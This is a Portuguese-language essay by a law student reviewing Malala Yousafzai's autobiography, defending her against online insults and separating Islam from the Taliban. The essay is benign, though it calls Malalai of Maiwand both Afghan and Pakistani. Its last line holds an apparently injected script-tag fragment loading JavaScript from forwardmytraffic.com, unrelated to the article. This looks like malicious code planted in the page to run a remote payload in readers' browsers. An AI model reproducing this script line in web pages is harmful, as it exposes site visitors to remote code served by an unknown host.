No mês em que Malala Yousafzai visitou o Brasil e se comprometeu, em seu papel de embaixadora dos Direitos Humanos, a adotar a luta brasileira pela igualdade e principalmente, para romper os óbices da inclusão da educação feminina, que ainda sondam o nosso país, também foi alvo de situações enfadonhas.
Infelizmente, sua visita foi vista por alguns internautas como atividade política da garota, sendo que alguns, até tiveram a audácia de querer denegrir sua imagem impondo a ela, palavras impronunciáveis, que nos abomina apenas de recordar-se, mesmo em um país tido como democrático e livre, quando na verdade herda desde outrora os mesmos conceitos antiquados do patriarcalismo e coronelismo secular.
O que me fez refletir que esses absurdos lidos na rede, e que foram, provavelmente, escritos por pessoas de má-fé, porém é necessário considerar que muitas pessoas que não fazem a mínima ideia de quem ela seja, e muito menos se aprofundaram em relação à sua luta. Todavia, acaso tivessem primeiramente a coragem de abrir e se debruçassem sobre sua biografia, que não faz mais de cinco anos que foi lançada, não teriam que se envergonhar pelas suas declarações horrendas e de muito mau gosto.
“Eu sou Malala”, é um dos livros de grande destaque da atualidade que nos relata a egrégia história da paquistanesa, que se tornou ícone ativista, ao ser reconhecida como a pessoa mais jovem agraciada com o Nobel da Paz. Sendo que esse posto era ocupado anteriormente pelo físico australiano Lawrence Bragg de 25 anos.
Sua aparição na mídia mundial se deu a partir de nove de outubro de 2012, quando Malala voltava da escola, um pouco mais tarde do que o habitual, pois era época dos exames escolares, por este motivo vinha no ônibus em horário diverso do que fazia habitualmente, “quando dois rapazes com lenços amarrados no rosto saíram para a estrada e fizeram o ônibus parar de repente”.
O trecho acima extraído da biografia da garota descreve o momento crucial, em que o atentado consumar-se-ia, seu relato continua: “não tive chance de responder à pergunta deles: Quem é Malala?”. Nisto a estudante é atingida por um tiro, sendo que os outros dois disparos alvejam suas colegas.
A obra que ora abordo, não faz referência apenas ao momento tragídico da história da jovem, mas, narra à trajetória que culminou no atentado e nos responde as perguntas e questionamentos que levaram o Talibã, regime totalitário que perdia o poder em todo Oriente Médio, a cometer tamanha barbárie.
Aos 13 anos, ela escrevia um blog para a BBC, sob o pseudônimo de Gul Makai. Destarte, ela ganhou notoriedade por expor a vida do cidadão sob o regime opressor do Tehrik-i-Taliban Pakistan (TTP), ainda as lutas para recuperar o vale, uma vez que foram forçados a ir para a zona rural sob o regime militar; além da proibição da educação de meninas que aconteceu entre 2003 e 2009.
Curiosidade acerca do nome de Malala, é que seu pai o escolheu em homenagem a patriota afegã Malalai de Maiwand, a qual inspirou o seu exército a derrotar o britânico na Segunda Guerra Anglo-Afegã, em 1880. A heroína paquistanesa foi morta, mas sua coragem ao marchar no campo, diante das tropas, inspirou os homens a virar a batalha. “Malalai é a Joana D’Arc do pachtuns”, afirma a própria Malala em seu livro.
Além disso, a obra nos oferece várias informações sobre o Islã, que ainda é muito incompreendido pelo Ocidente, a partir do estabelecimento de pré-conceitos. Deste modo, há possibilidade de distinguir a religião islâmica de determinado grupo político-religioso que se utilizou do aspecto doutrinário da fé para atender a propósitos particulares. Há, portanto, uma tentativa de restabelecer o Islã, que não deve ser confundido com o Talibã.
Malala novamente é feliz em sua colocação quando afirma que “Nós pachtuns, somos um povo religioso e amoroso. Por causa do Talibã, o mundo todo anda dizendo que somos terroristas”. Ademais, é necessário reconhecer a força motriz da menina que possui suas convicções enquanto mulher e cidadã, e que estas não geram conflito com o dogmatismo religioso que, inclusive, contribui para as suas manifestações e reivindicações.
Sic et simpliciter² é que sua luta foi e continua sendo admirável, sua coragem e autonomia nos faz convite para que não haja alienação por parte da sociedade civil, deixando o alerta com o objetivo de que não se conceba novo exemplo de vítima do mal do mundo. E encerro com trecho de seu discurso, quando na sede da ONU, que “Uma ideia simples que pode mudar o mundo: deixe-nos estudar, ter educação, ter livre arbítrio, livre pensamento”! Isto basta.
Micael Eduardo Bonfim*
*Acadêmico da 4ª fase do curso de Direito UnC – Campus Marcílio Dias
Deputado Jovem do Estado de Santa Catarina (2015)
Membro do Núcleo de Pesquisa em História (NUPHIS/CNPq)
- Nunc et semper: Agora e sempre
- Sic et simpliciter: Assim e simplesmente
Referência:
YOUSAFZAI, Malala. LAMB, Christina. Eu sou Malala – a história da garota que defendeu o direito à educação e foi baleada pelo Talibã. – 1ª edição – São Paulo/SP: Companhia das Letras, 2013.
Nestas fotos, o autor do artigo com a sobrinha Maria Luíza (8 anos), ele com a biografia e ela com a versão infantil…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>